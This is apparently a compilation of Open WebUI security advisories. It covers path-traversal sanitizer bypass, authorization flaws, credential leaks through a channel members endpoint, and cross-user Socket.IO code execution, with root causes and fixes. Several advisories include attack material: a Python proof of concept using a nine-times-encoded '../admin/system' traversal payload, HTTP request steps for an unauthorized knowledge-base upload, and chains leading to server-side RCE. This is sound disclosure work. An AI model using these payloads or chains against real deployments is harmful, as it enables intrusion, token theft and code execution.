open-webui before 0.3.14 contains a cross-origin resource sharing misconfiguration allowing arbitrary origins with alloworigins= and authenticated requests to the /api/v1/functions endpoint. Attackers can execute arbitrary code on the openwebui instance by crafting malicious cross-site requests from attacker-controlled websites when an admin user visits them.
Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.
AI assistance was used to help inspect the code and prepare this report.
Summary
The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. backend/openwebui/routers/terminals.py documents sanitizeproxypath() as decoding until stable, but the implementation stops after 8 unquote() passes. A 9x percent-encoded ../... path parameter remains once-encoded after the loop, passes the posixpath.normpath() and cleaned.startswith('..') checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as /base/../admin/system.
Impact
A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policyid}/{safepath}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.
This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.
Reproduction
The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path.
python import asyncio, posixpath from urllib.parse import unquote from aiohttp import web, ClientSession, ClientTimeout
def sanitize(path): decoded = path for in range(8): once = unquote(decoded) if once == decoded: break decoded = once cleaned = posixpath.normpath(decoded).lstrip('/') if cleaned.startswith('..') or cleaned == '.': return None return cleaned
def enc(s, rounds): out = ''.join(f'%{b:02X}' for b in s.encode()) for in range(rounds - 1): out = out.replace('%', '%25') return out
async def main(): async def handler(request): return web.jsonresponse({'rawpath': request.rawpath, 'path': request.path}) app = web.Application() app.router.addroute('', '/{tail:.}', handler) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, '127.0.0.1', 0) await site.start() port = site.server.sockets[0].getsockname()[1]
for rounds in (8, 9): safe = sanitize(enc('../admin/system', rounds)) print(rounds, safe) if safe: url = f'http://127.0.0.1:{port}/base/{safe}' async with ClientSession(timeout=ClientTimeout(total=10)) as session: async with session.get(url) as response: print(await response.json()) await runner.cleanup()
asyncio.run(main())
Observed output on current main and v0.9.6 sanitizer:
text 8 None 9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D {'rawpath': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}
The 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the {path:path} parameter: an external request can use one additional encoding layer so sanitizeproxypath() receives the 9x encoded parameter shown above.
Root Cause / Technical Details
sanitizeproxypath() in backend/openwebui/routers/terminals.py performs this loop:
python decoded = path for in range(8): once = unquote(decoded) if once == decoded: break decoded = once
The subsequent traversal check is applied only to the value after those 8 iterations. If the input still contains encoded dot and slash bytes after the loop, posixpath.normpath() treats them as ordinary characters rather than path separators. The code then builds targeturl = f'{baseurl}/{safepath}' and sends it with aiohttp.ClientSession.request(). The upstream server receives and decodes the forwarded path, turning the accepted %2E%2E%2F... into ../....
The same vulnerable sanitizer is present in v0.9.6, the latest release. I verified the v0.9.6 backend/openwebui/routers/terminals.py hash matches current main for this file.
Remediation
Do not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:
1. Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators. 2. Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with /. 3. Add regression tests for at least 9x and 10x encoded ../ payloads, including a route-level test that accounts for the ASGI server's initial path decode before the {path:path} parameter reaches sanitizeproxypath().
Summary
An authenticated non-admin user with read access to an arena wrapper model can reach a restricted underlying model through task endpoints such as /api/v1/tasks/moa/completions.
The normal chat route resolves arena models before the final chat dispatch and therefore re-checks the selected underlying model. The task routes call utils.chat.generatechatcompletion() directly. In that direct path, arena fallback resolution happens after the wrapper access check and then recurses with bypassfilter=True, skipping the selected submodel's access check.
Technical Details
Open WebUI's current model-access behavior already denies direct access to the restricted model. The normal chat path also denies the selected restricted model after arena preprocessing. The task endpoint path is inconsistent with that protected behavior because it reaches the same restricted model only through the direct arena fallback and recursive bypassfilter=True.
This report does not rely on malicious provider configuration, user-authored Tools/Functions, or direct code execution. The crossed boundary is model read authorization.
Although the arena wrapper must be readable by the user, this is not just an "admin exposed a restricted model" configuration claim. The same configured arena is denied by the normal chat post-preprocessor control once the selected restricted model is the dispatch target. The bypass is specific to task endpoints that skip that preprocessor and enter the fallback arena resolver.
Official documentation also points to this interpretation:
- Open WebUI documents model access control as restricting models to specific users or groups. - The workspace-model documentation treats "wrapper checked, restricted underlying model reached" as broken access control and recommends independent entries for curated deployments. - The evaluation documentation describes arena mode as an evaluation/comparison feature that randomly selects models to compare, not as a feature that grants access to otherwise restricted models. - This is not an unsafe-admin-action report: the same intended model access restriction is enforced on the direct model path and on the normal-chat selected-model control, then bypassed only through the task endpoint call order.
PoV
The attached local PoV does not start a server and does not contact any model provider. It imports the current Open WebUI task endpoint and replaces provider dispatch plus model-access checks with local stubs so the call graph can be observed safely.
Observed result:
| Case | Expected | Actual | | --- | --- | --- | | Direct task request with model=restricted-model | Denied before provider dispatch | Denied; no provider call recorded | | Normal-chat post-preprocessor control with model=restricted-model and metadata.selectedmodelid=restricted-model | Denied before provider dispatch | Denied; no provider call recorded | | Task request with model=public-arena that selects restricted-model | Denied when selected model is restricted | Local provider stub reached with model=restricted-model and bypassfilter=true |
In the arena task case, the restricted model is absent from the access-check log.
Impact
A regular user can use a readable arena wrapper as an oracle for a restricted model via task-generation endpoints. For /api/v1/tasks/moa/completions, the caller controls the task prompt and receives the generated response.
The crossed security boundary is model read authorization: a non-admin user who is denied direct access to a model can still cause Open WebUI to dispatch a request to that model with the operator-configured backend credentials.
This can allow:
- use of paid or internal models with the admin-configured provider key; - bypass of model access grants shown in the model selector; - cost and usage impact on pay-per-token providers; - exposure of model behavior or internal deployment capabilities that admins intended to restrict.
Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L = 7.6.
Primary CWE: CWE-862, Missing Authorization.
Authentication is required, so PR:L is used. User interaction is not required. The confidentiality impact is High because the attacker can query a model the administrator intended to restrict. Integrity and availability are Low because the request can consume provider quota and produce model output under an authorization decision the system would otherwise deny.
This should not be Critical: exploitation requires an authenticated user and a readable arena wrapper, does not cross into another security authority, and does not provide arbitrary code execution or full instance compromise.
Suggested Fix
Do not use bypassfilter=True for arena fallback dispatch unless the selected underlying model has already been authorized for the caller.
Recommended changes:
- after selecting selectedmodelid, load the selected model and call checkmodelaccess(user, selectedmodel) before recursive dispatch; - for filtermode=exclude or empty modelids, build the candidate pool from models the current user can read, not every non-arena model in request.app.state.MODELS; - add regression tests for /api/v1/tasks/moa/completions, /api/v1/tasks/title/completions, /api/v1/tasks/tags/completions, and normal /api/chat/completions arena behavior.
Appendix: Affected Components
- backend/openwebui/routers/tasks.py - /api/v1/tasks/moa/completions builds a payload from caller-controlled model, prompt, and responses, then calls generatechatcompletion(request, formdata=payload, user=user). - backend/openwebui/utils/chat.py - checks access for the user-supplied arena wrapper model. - fallback arena resolution selects an underlying model when the caller did not pass through processchatpayload(). - recursive dispatch uses bypassfilter=True. - backend/openwebui/utils/models.py - arena wrapper access checks only wrapper accessgrants.
Current-head references:
- backend/openwebui/routers/tasks.py:662-707 - backend/openwebui/utils/chat.py:190-204 - backend/openwebui/utils/chat.py:215-240 - backend/openwebui/utils/chat.py:248-269 - backend/openwebui/utils/middleware.py:2323-2347 - backend/openwebui/utils/models.py:378-407
Appendix: Duplicate Analysis
This is distinct from GHSA-9vvh-qmjx-p4q8 / CVE-2026-44555, which covers basemodelid chaining and user-created workspace models. Current head includes the base-model-chain access fix through hasbasemodelaccess.
This report covers task endpoints that call generatechatcompletion() without the main chat preprocessor. The root cause is arena fallback plus recursive bypassfilter=True, not basemodelid.
Live duplicate sweep before submission also reviewed:
- GHSA-v6qf-75pr-p96m: exposed HTTP query parameter ?bypassfilter=true. This report does not rely on caller-controlled query parameters; the task endpoint reaches the server-side recursive bypassfilter=True path after arena fallback resolution. - GHSA-hp5m-24vp-vq2q: /api/openai/responses passthrough missing model authorization. This report targets /api/v1/tasks/moa/completions and the arena resolver inside utils.chat.generatechatcompletion(). - GHSA-gfm2-xm6c-37qc: chat ownership authorization in completions. This report does not require another user's chat ID.
If maintainers prefer to treat this as the same broad "wrapper checked, underlying model not checked" class, it should still be a distinct exploitation vector and affected component: task endpoints, not model creation/import or basemodelid dispatch.
Appendix: Preconditions
- Authenticated non-admin user. - The user can read an arena wrapper model, for example a custom arena with a public read grant. - The arena model includes at least one restricted underlying model that the user cannot query directly.
Summary
The terminal proxy in backend/openwebui/routers/terminals.py forwards the Open WebUI user's identity to the upstream terminal server / backend coordinator as an authorization claim, with no cryptographic binding to the session that produced it. The forwarded identity is attacker-influenceable on both proxy paths:
1. HTTP path (proxyterminal) sets headers['X-User-Id'] = user.id. Upstreams that trust X-User-Id as identity receive it unsigned, so an attacker who can reach the upstream by other means (directly, a compromised peer, SSRF) can spoof it. 2. WebSocket path (wsterminal) is exploitable through Open WebUI itself, with no "other means" required. It interpolates the path parameter sessionid directly into the upstream URL and then appends ?userid=<caller>:
python upstreamurl = f'{wsbase}/p/{policyid}/api/terminals/{sessionid}' upstreamurl += f'?{urllib.parse.urlencode({"userid": user.id})}'
sessionid is neither validated nor URL-encoded (the HTTP sibling runs sanitizeproxypath; this path runs nothing). An encoded ?/& smuggled through sessionid survives Open WebUI's single decode and is re-decoded by the upstream, injecting an attacker-chosen userid ahead of the appended one. Query parsing binds the first occurrence, so the backend coordinator resolves the spoofed user's terminal scope.
Technical Details
The forwarded terminal identity is a bearer-style authorization claim with no integrity binding, and on the WebSocket path it is additionally injectable because sessionid is concatenated into the URL without encoding or delimiter validation.
Impact
A normal authenticated user can make the terminal proxy present another user's identity to the upstream backend coordinator. On backend coordinator-backed (policyid) servers that scope terminal containers by userid, this reaches another user's terminal scope; combined with a known active session ID (for example a chat-scoped session ID surfaced through a shared chat), it allows attaching to that user's live PTY. The HTTP-path variant additionally allows identity spoofing at the upstream tier for any deployment whose upstream trusts X-User-Id.
Appendix: Affected code
- backend/openwebui/routers/terminals.py — proxyterminal sets headers['X-User-Id'] = user.id with no signature. - backend/openwebui/routers/terminals.py — wsterminal builds the upstream URL from an unvalidated, unencoded sessionid and appends userid as a query parameter, allowing query injection.
Appendix: Consolidation
Per the Report Handling policy, this consolidates independent reports of the same root cause (the forwarded terminal identity is spoofable / not integrity-bound) into the earliest filing:
- @smoke-wolf (earliest filing) — the X-User-Id HTTP-path identity is forwarded without integrity binding, spoofable where the upstream trusts the header. - @rexpository — the wsterminal sessionid query-injection vector, proving the forwarded userid is spoofable through the Open WebUI proxy itself, with no "reach the upstream by other means" precondition.
Appendix: Recommended fix
- Validate and URL-encode sessionid before building the upstream URL (urllib.parse.quote(sessionid, safe=""); reject ?, #, &, /, %, backslash, control characters). Build the query string with a URL builder so attacker-controlled path content cannot precede it. - Bind the forwarded identity instead of passing a raw userid / X-User-Id: emit a short-lived signed claim (for example HS256 over {uid, iat, aud:serverid} with a key shared only with the specific upstream) and verify it upstream.
Summary
Current main and v0.9.6 still allow an authenticated user to turn read-only access to another user's file into write/delete access by attaching that file ID to an attacker-controlled workspace model.
This is an incomplete-fix variant of GHSA-vjqm-6gcc-62cr. The current fix adds verifyknowledgefileaccess(), but the validator only checks hasaccesstofile(fileid, "read", user). The file write/delete routes later trust hasaccesstofile(fileid, "write", user), and that function grants access through any writable model whose meta.knowledge contains the file ID.
The PoV includes a negative control showing the current validator rejects an inaccessible arbitrary file ID. The residual issue is narrower: a file ID that is readable only through a KB read grant is accepted into direct model file metadata, then the same model metadata satisfies later file write/delete checks.
Technical Details
backend/openwebui/routers/models.py::verifyknowledgefileaccess() accepts model meta.knowledge file entries when the caller can read the file:
python if not await hasaccesstofile(fileid, 'read', user, db=db): raise HTTPException(...)
backend/openwebui/utils/accesscontrol/files.py::hasaccesstofile() then uses attacker-writable model metadata as a source for any requested access type:
python for model in await Models.getmodelsbyuserid(user.id, permission=accesstype, db=db): knowledgeitems = getattr(model.meta, 'knowledge', None) or [] for item in knowledgeitems: if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id: return True
For accesstype="write", the attacker-owned model satisfies the model query, so the victim file becomes writable even though the attacker only had read access through the KB grant.
This crosses another user's integrity and availability boundary, not just the attacker's own account. Before model metadata is involved, the attacker can read the file through a KB grant but cannot write it. After the model metadata entry is accepted, the same file becomes writable/deletable.
The official docs distinguish attached knowledge permissions: knowledge-base collections may use explicit read grants, while individual files are owner/admin-only. This issue lets a read grant to a KB become direct write/delete authority over an individual file.
This is also consistent with the documented RBAC model: resource grants have separate read and write permissions, where write means the user can update or delete the resource. The exploit starts from a read-only KB grant and reaches file write/delete without a corresponding file owner/admin/write authorization.
The required Models workspace access is not root-equivalent in Open WebUI's documentation. The policy's root-equivalent warning applies to Tools/Functions code execution. This report does not use Tools/Functions, custom Python, admin actions, or a legacy-only path.
Impact
An authenticated non-admin user with Models workspace access and read-only access to a victim file through a knowledge-base grant can create/import/update a model that references the file, then rename, overwrite, or delete the victim user's file through write-gated file routes.
Confirmed sinks in current head:
- POST /api/v1/files/{id}/rename - POST /api/v1/files/{id}/data/content/update - DELETE /api/v1/files/{id}
Suggested severity: High.
Suggested CVSS:
text CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Suggested CWE:
text CWE-863: Incorrect Authorization
I am not claiming Critical severity because the attacker must be authenticated, must have Models workspace access, and must already have read-only access to the victim file through a KB grant. The High score is based on the post-condition: that limited read access becomes destructive cross-user file write/delete.
Appendix: AI Disclosure
Appendix: Local PoV
The PoV is local-only. It does not start a server, send network traffic, or use a real database. It loads and executes the current-head function bodies for:
- hasaccesstofile() - verifyknowledgefileaccess() - deletefilebyid()
Run from the harness root:
bash uv run python attached-evidence/poc/povopenwebuimodelfilereadtowrite.py
Observed output:
json { "confirmed": true, "controlinaccessiblefilerejectedbyvalidator": true, "controlreadallowedviakbreadgrant": true, "controlwriteallowedbeforemodellaundering": false, "modelmetadatavalidatorpassedwithreadonlyaccess": true, "writeallowedafterattackerownedmodelcontainsfile": true, "deleterouteresult": { "message": "File deleted successfully" }, "deletedfileids": [ "victim-file" ] }
This demonstrates expected versus actual behavior:
- Expected: a user with only read access through a KB grant cannot mutate the victim file. - Actual: after the read-only file ID is accepted into attacker-owned model metadata, the same user satisfies the file write/delete guard and deletes the victim file.
Appendix: Remediation
Recommended defense-in-depth fix:
1. In verifyknowledgefileaccess(), require direct file ownership or admin for type: "file" model knowledge entries. Do not accept indirect KB read access as sufficient authority to attach an individual file to a model. 2. In hasaccesstofile(), do not let the model meta.knowledge branch grant write access to files. Model-attached knowledge should be read-only unless the caller separately owns/administers the underlying file or has an explicit write-capable file authorization path. 3. Add regression tests covering the KB-read control, the blocked model attach, and rename/update/delete denial for the victim file.
Summary
The administrator-configured WEBFETCHFILTERLIST (the allow/block list applied to server-side web fetches: RAG URL ingestion, URL-to-markdown, web-search content fetch) matches hostnames incorrectly, so the filter can be bypassed.
Details
isstringallowed (backend/openwebui/utils/misc.py) matches with str.endswith(...), and the primary web-fetch call site (backend/openwebui/retrieval/web/utils.py) called it with the full URL string, not the hostname:
- Blocklist bypass via path. A blocklist entry !internal.example.com only matches a URL that ends with that string. Any URL with a path (https://internal.example.com/x) ends with /x, so the entry never matches and the fetch proceeds. The blocklist effectively only stopped path-less URLs. - Allowlist false-reject and bypass. An allowlist company.com rejected the legitimate https://api.company.com/status and admitted https://attacker.example/path/company.com. - Non-label-boundary matching at the hostname-shaped call site (retrieval/web/main.py): endswith('corp.com') also matched evilcorp.com, and 10.0.0.1 matched 110.0.0.1.
Impact
An authenticated user able to trigger a server-side web fetch can reach hosts the administrator intended to block with WEBFETCHFILTERLIST.
Open WebUI's primary SSRF protection is a separate, always-on guard that rejects any URL resolving to a non-global IP (validateurl and the connection-layer ssrfsafenewconn, active whenever ENABLERAGLOCALWEBFETCH is off, the default). That guard is unaffected by this issue and continues to block loopback, RFC1918 and link-local addresses, including the 169.254.169.254 cloud-metadata endpoint. This bypass therefore does not grant access to those internal targets. What it defeats is the administrator's ability to block specific publicly-resolvable hosts (internal services reachable from the server over a public IP, e.g. split-horizon DNS or internal PaaS endpoints) and to enforce an allowlist. Fetched content is returned to the requester, so for hosts reachable from the server's network position this is a read/content-disclosure SSRF against the admin-blocked host.
Patch
Matching is now performed on the parsed hostname using DNS label boundaries. A dedicated ishostallowed(host, ...) matches an entry only when host and entry are equal or the entry is a parent domain (host == entry or host.endswith('.' + entry)), so corp.com matches api.corp.com but not evilcorp.com, and IP entries match only the identical address. Both web-fetch call sites pass the parsed hostname rather than the full URL. The generic isstringallowed is retained unchanged for unrelated non-host filters.
Credit
Reported by @addcontent.
Summary
The channel members endpoint serializes and returns full user models for channel participants, including settings objects. A normal user in a DM can retrieve admin-only sensitive configuration such as webhook URLs and tool server key material (settings.ui.toolServers[].key), which is not available via standard user info APIs.
Details
The endpoint GET /api/v1/channels/{id}/members returns the full serialized user model for every member in the channel. In both the DM and non-DM code paths, the handler constructs the response with [UserModelResponse(user.modeldump(), isactive=...)] and returns it as the users list. Because UserModel (models/users.py) includes a settings object (UserSettings) and arbitrary UI configuration (settings.ui), the endpoint exposes other users' sensitive configuration to any channel participant.
Practically, a regular user who participates in a DM or group can call /api/v1/channels/{id}/members and receive other members' settings, including admin-only details such as webhook notification URLs and tool server configuration, including credential fields like settings.ui.toolServers[].key. These values are not returned by the normal user profile endpoints (e.g., /api/v1/users/{userid}/info).
PoC
1. Start a local Open WebUI instance 2. Log in as admin and in the Admin Panel, go to Settings -> General and check Channels (Beta), then press Save. 3. Create a low-privilege user in the Users tab 4. Click on the admin's profile bottom left, Settings and Integrations. Then click the + after Manage Tool Servers to add some tool server with a secret Bearer token (eg. KEY) 5. Log in as the attacker with the low-privilege account and create a new Direct Message channel with the admin user:
<img width="690" height="383" alt="image" src="https://github.com/user-attachments/assets/70208661-a0db-4457-9984-119056ca3daf" />
7. After creating, open DevTools with F12 and go to the Network tab. Then in the DM UI click on the Users icon top right to see the members. In the network tab, this should have triggered a /api/v1/channels/{id}/members request which responds with the settings key including toolServers and key values:
<img width="1642" height="577" alt="image" src="https://github.com/user-attachments/assets/6639d982-a156-4e8b-861e-587d86d9b152" />
The attacker has now leaked the admin's bearer token for the toolserver they configured.
Impact
Conditions for exploit: channels are enabled and an attacker has a low-privilege account.
Webhook URLs and tool server configurations (including bearer keys) can be exfiltrated from any user.
Original Agent Report
<img width="400" alt="app aikido devai-pentestsprojects116389assessments019d67d4-81c8-7dd2-bb9e-0a4a774b2c78issuessidebarIssue=20440423 (4)" src="https://github.com/user-attachments/assets/8415553a-9f1e-4f73-929c-aa0d18a101ca" />
Summary
A normal authenticated user can read the content of a message in a private channel they do not belong to. GET /api/v1/channels/{id}/messages/{messageid}/thread authorizes the caller against the URL channel, but the underlying thread lookup loads the thread parent by id and returns it without verifying the parent belongs to that channel. By requesting a thread in a channel they can access while supplying a victim channel's message id as the thread root, the attacker receives the victim message — content, channel id, and author.
Affected component
- backend/openwebui/models/messages.py — getmessagesbyparentid() - backend/openwebui/routers/channels.py — getchannelthreadmessages() (read), newmessagehandler() (parent/reply binding on write)
Root cause
getmessagesbyparentid(channelid, parentid) filters the thread replies by channelid, but loads the thread parent by id alone and appends it without requiring parent.channelid == channelid:
python message = await db.get(Message, parentid) # loaded by id only — no channel binding if not message: return [] replies are filtered by channelid ... if len(allmessages) < limit: allmessages.append(message) # parent appended unconditionally
getchannelthreadmessages() authorizes only the URL channel, then calls getmessagesbyparentid(id, messageid) with the caller-supplied messageid. The reply insert path (newmessagehandler → insertnewmessage) also stored a caller-supplied parentid without binding it to the channel.
Impact
A non-member can disclose the content (plus channel id and author metadata) of a private-channel message whose id they know or obtain. Direct reads of the victim channel/message/thread return 403; the disclosure is via the thread parent of a channel the attacker can access. Read-only, one message per known id.
Proof of Concept
(reporter) Validated on v0.9.6: GET /channels/{attackerchannel}/messages/{victimmessageid}/thread returned the victim's private message — content, victim channel id, and author — although direct reads of the victim channel returned 403.
Fix
Bind the thread parent to the requested channel: getmessagesbyparentid returns [] unless the parent exists and parent.channelid == channelid. Defence-in-depth on the write path: newmessagehandler rejects a supplied parentid/replytoid whose message does not belong to the URL channel.
Affected / Patched
- Affected: < 0.10.0 (last affected release 0.9.6) - Patched: v0.10.0 (PR #25766). getmessagesbyparentid binds the thread parent to the requested channel (returns [] unless parent.channelid == channelid), and newmessagehandler rejects a caller-supplied parentid/replytoid whose message does not belong to the channel.
Summary
The getallmodels handlers in routers/openai.py and routers/ollama.py intended to cache their permission-filtered model lists per user, but the @cached decorator was misconfigured: it passed a key= lambda instead of keybuilder=. In aiocache 0.12.3 (the pinned version), key= is a static cache key — a callable passed there is used as a constant object, not invoked per call. As a result the per-user key was never computed, and all callers collided onto a single shared cache entry within the TTL window. During that window, one user's permission-filtered model list could be served to a different authenticated user, crossing the per-user authorization boundary.
Impact
- Boundary crossed: Confidentiality (cross-user). A caller can receive the model list scoped to a different security principal than themselves. - A user (or admin, or — depending on endpoint reachability — anonymous caller) who populates the cache causes the next caller within the TTL to receive that list rather than their own permission-filtered one. - What's disclosed is the set of models another principal can access, including potentially the existence and naming of models restricted from the receiving user. - Exposure is incidental and timing-dependent, not attacker-controlled: the leaked entry is whatever the most recent caller populated within MODELSCACHETTL (default 1 second), and the attacker cannot select the victim or force a target's list into the cache.
Affected component
- backend/openwebui/routers/openai.py — getallmodels (~line 488) - backend/openwebui/routers/ollama.py — getallmodels (~line 302)
Both decorated with @cached(ttl=MODELSCACHETTL, key=lambda ...). No other @cached(... key=lambda ...) misuse was found elsewhere in the backend.
Root cause
aiocache 0.12's @cached treats key= as a static key; the per-call hook is keybuilder= with signature keybuilder(func, args, kwargs). Passing a callable to key= uses the callable object itself as a constant key, so every invocation resolved to the same entry and the intended per-user.id namespacing never occurred.
Reproduction (default config)
1. On a default deployment, configure at least two users with different model-access permissions (e.g. one model restricted to user A). 2. As user A, request the model list (populates the shared cache entry). 3. Within MODELSCACHETTL (default 1s), as user B, request the model list. 4. User B receives user A's permission-filtered list, including models B is not permitted to see.
Remediation
Replace key= with keybuilder= at both call sites and adjust the lambda to take the function as its first argument:
python @cached( ttl=MODELSCACHETTL, keybuilder=lambda func, request, user=None: ( f'openaiallmodels{user.id}' if user else 'openaiallmodels' ), )
Open WebUI upload metadata can add files to knowledge bases without write permission
Summary
Open WebUI's file upload background processing trusts the client-supplied metadata.knowledgeid value and inserts a knowledgefile association before validating that the uploading user has write access to the target knowledge base.
A verified user with only read access to a knowledge base can upload an arbitrary file and set metadata={"knowledgeid":"<target knowledge id>"}. The normal /api/v1/knowledge/{id}/file/add endpoint correctly requires knowledge-base write access, but the upload auto-link path bypasses that authorization check.
The immediate result is unauthorized modification of the target knowledge base's file membership. The attached attacker-controlled file becomes visible through /api/v1/knowledge/{id}/files, and readers/owners of that knowledge base can retrieve the file through the normal file endpoints because file access is derived from KnowledgeFile membership.
Affected Version
- Repository: open-webui/open-webui - Tested source commit: 02dc3e689ceac915a870b373318b99c029ddf603 - Package version observed in package.json: 0.9.6 - Package name: open-webui
Impact
A read-only knowledge-base collaborator can perform a write operation against that knowledge base by attaching arbitrary uploaded files.
Security impact:
- Unauthorized knowledge-base membership modification. - Integrity impact on shared knowledge-base file listings. - Attacker-controlled files become readable to other users who can read the target knowledge base. - If an owner/admin later reprocesses or globally reindexes the knowledge base, the unauthorized file can be indexed into the knowledge collection, turning the membership bypass into RAG/content poisoning.
This is not an unauthenticated issue. It requires a verified Open WebUI account and a valid target knowledge-base ID. The clearest exploit path is a user who legitimately has read access to a knowledge base but not write access.
Source Evidence
The normal single-file knowledge add endpoint checks write permission before processing or inserting the relationship:
- backend/openwebui/routers/knowledge.py - addfiletoknowledgebyid - Lines 714-728 reject callers who are not owner, admin, or granted write access. - Lines 750-766 then process and insert the file only after that authorization gate.
The upload auto-link path does not perform the same check:
- backend/openwebui/routers/files.py - processuploadedfile - Lines 178-186 read knowledgeid from upload metadata and immediately call Knowledges.addfiletoknowledgebyid(...). - Lines 187-192 call processfile(... collectionname=knowledgeid ...) after the insert.
The model method inserts the relationship without validating the caller's write access to the knowledge base:
- backend/openwebui/models/knowledge.py - addfiletoknowledgebyid - Lines 646-677 create and commit a KnowledgeFile row for the supplied knowledgeid, fileid, and userid.
The later vector write check exists, but it runs too late:
- backend/openwebui/routers/retrieval.py - processfile - Lines 1587-1592 call validatecollectionaccess(..., accesstype='write') when a collection is supplied.
Because the unauthorized KnowledgeFile row is already committed before that check runs, the failed vector processing does not undo the knowledge-base file association. The upload code catches the exception at backend/openwebui/routers/files.py lines 194-195 and logs a warning while leaving the row in place.
The unauthorized relationship affects file access decisions:
- backend/openwebui/utils/accesscontrol/files.py - hasaccesstofile - Lines 41-53 grant file access when a file is associated with a knowledge base the user can access.
So once the attacker's file is inserted into the target KnowledgeFile table, target knowledge-base readers/owners can see and fetch that file through normal knowledge/file routes.
Reproduction Steps
Use a local Open WebUI instance with two verified users:
1. As user owner, create a knowledge base. 2. Grant user reader read access to the knowledge base, but do not grant write access. 3. As reader, confirm the normal add-file endpoint is blocked:
http POST /api/v1/knowledge/<knowledgeid>/file/add Authorization: Bearer <reader token> Content-Type: application/json
{"fileid":"<reader-owned-file-id>"}
Expected and observed behavior for the normal route: it rejects the request because reader lacks knowledge-base write access.
4. As reader, upload a new file with the same target knowledge ID embedded in upload metadata:
http POST /api/v1/files/?process=true&processinbackground=false Authorization: Bearer <reader token> Content-Type: multipart/form-data
file=@attacker-note.txt metadata={"knowledgeid":"<knowledgeid>"}
5. Observe that the upload request succeeds and returns the uploaded file record. 6. As owner, request the knowledge-base files:
http GET /api/v1/knowledge/<knowledgeid>/files Authorization: Bearer <owner token>
7. Observe that attacker-note.txt appears in the target knowledge base even though reader did not have write access. 8. As owner, request the file content:
http GET /api/v1/files/<attackerfileid>/content Authorization: Bearer <owner token>
9. Observe that the file is retrievable because hasaccesstofile derives access from the unauthorized knowledge-base membership.
Expected Behavior
The upload auto-link path should enforce the same authorization contract as /api/v1/knowledge/{id}/file/add:
- The target knowledge base must exist. - The caller must be the knowledge owner, an admin, or have write access. - The supplied directoryid, if present, must belong to the target knowledge base. - The KnowledgeFile association should only be inserted after authorization and processing succeed.
Actual Behavior
metadata.knowledgeid causes Knowledges.addfiletoknowledgebyid(...) to insert a KnowledgeFile row before write authorization is checked. The later collection write validation can fail, but the unauthorized membership row remains committed.
Suggested Fix
Move knowledge-base authorization before the insert in the upload auto-link path. The upload path should share the same write-access and directory validation logic used by the dedicated knowledge endpoints.
One safe pattern:
1. Load the target knowledge base. 2. Require owner/admin/write access before calling Knowledges.addfiletoknowledgebyid. 3. Validate that directoryid, if supplied, belongs to the same knowledge base. 4. Run vector processing before inserting the membership row, or wrap processing plus insertion in a transaction/compensating cleanup so a denied or failed process cannot leave a stale unauthorized row.
Summary
An authenticated low-privilege user can execute arbitrary code-interpreter Python and tools inside another user's authenticated session. The Socket.IO event-caller (geteventcall) delivers execute:python / execute:tool events to a client-supplied sessionid after only checking that the session is connected, never that it belongs to the requester. Combined with ydoc:document:join, which exposes the live socket ids of everyone in a shared note's collaboration room to any read-access participant, an attacker can target a victim's session and run attacker-chosen code/tools in the victim's browser context. When the victim is an administrator, that hijacked context reaches the admin-only Functions API, whose source is executed server-side, yielding remote code execution as the server process (root in the default container).
Affected component
- backend/openwebui/socket/main.py — geteventcall() / eventcaller - backend/openwebui/main.py — chat-completion metadata (sessionid taken from the request body)
Root cause
The event-caller routes to a caller-controlled session id with no ownership check:
python backend/openwebui/socket/main.py — geteventcall() async def eventcaller(eventdata): sessionid = requestinfo['sessionid'] if sessionid not in SESSIONPOOL: # only checks the session is connected return {'error': 'Client session disconnected.'} return await sio.call('events', {...}, to=sessionid, ...) # delivered to that sid
sessionid originates from the request body and is never validated against the authenticated user:
python backend/openwebui/main.py metadata = { 'userid': user.id, # server-derived (trustworthy) 'sessionid': formdata.pop('sessionid', None), # client-controlled ... }
SESSIONPOOL[sessionid] is the user record of whoever owns that socket. Because the caller checks only membership (in SESSIONPOOL), a request carrying another user's sessionid causes execute:python / execute:tool to be delivered to that other user's browser.
Reachability
- execute:python / execute:tool are emitted from the code-interpreter and tool-call paths (utils/middleware.py, tools/builtin.py), all routed through geteventcall. - The victim's live sessionid is disclosed to any read-access participant of a shared note via ydoc:document:join. - POST /api/v1/chat/completions requires only getverifieduser (the default user role). The attacker uses their own account and a model / Direct Connection they control to choose the payload.
Impact
- Any victim: arbitrary code-interpreter Python and tool execution in the victim's authenticated session — the attacker acts with the victim's identity and origin (full session/account compromise). - Admin victim: the hijacked admin context reaches POST /api/v1/functions/create, whose source is exec()'d server-side → remote code execution as the server process (root in the default container).
The Functions API is intended administrator code-execution; the vulnerability here is the cross-user delivery that lets an attacker drive another user's session — including an admin's — into it. The primitive is a full session compromise even against non-admin victims.
Proof of Concept
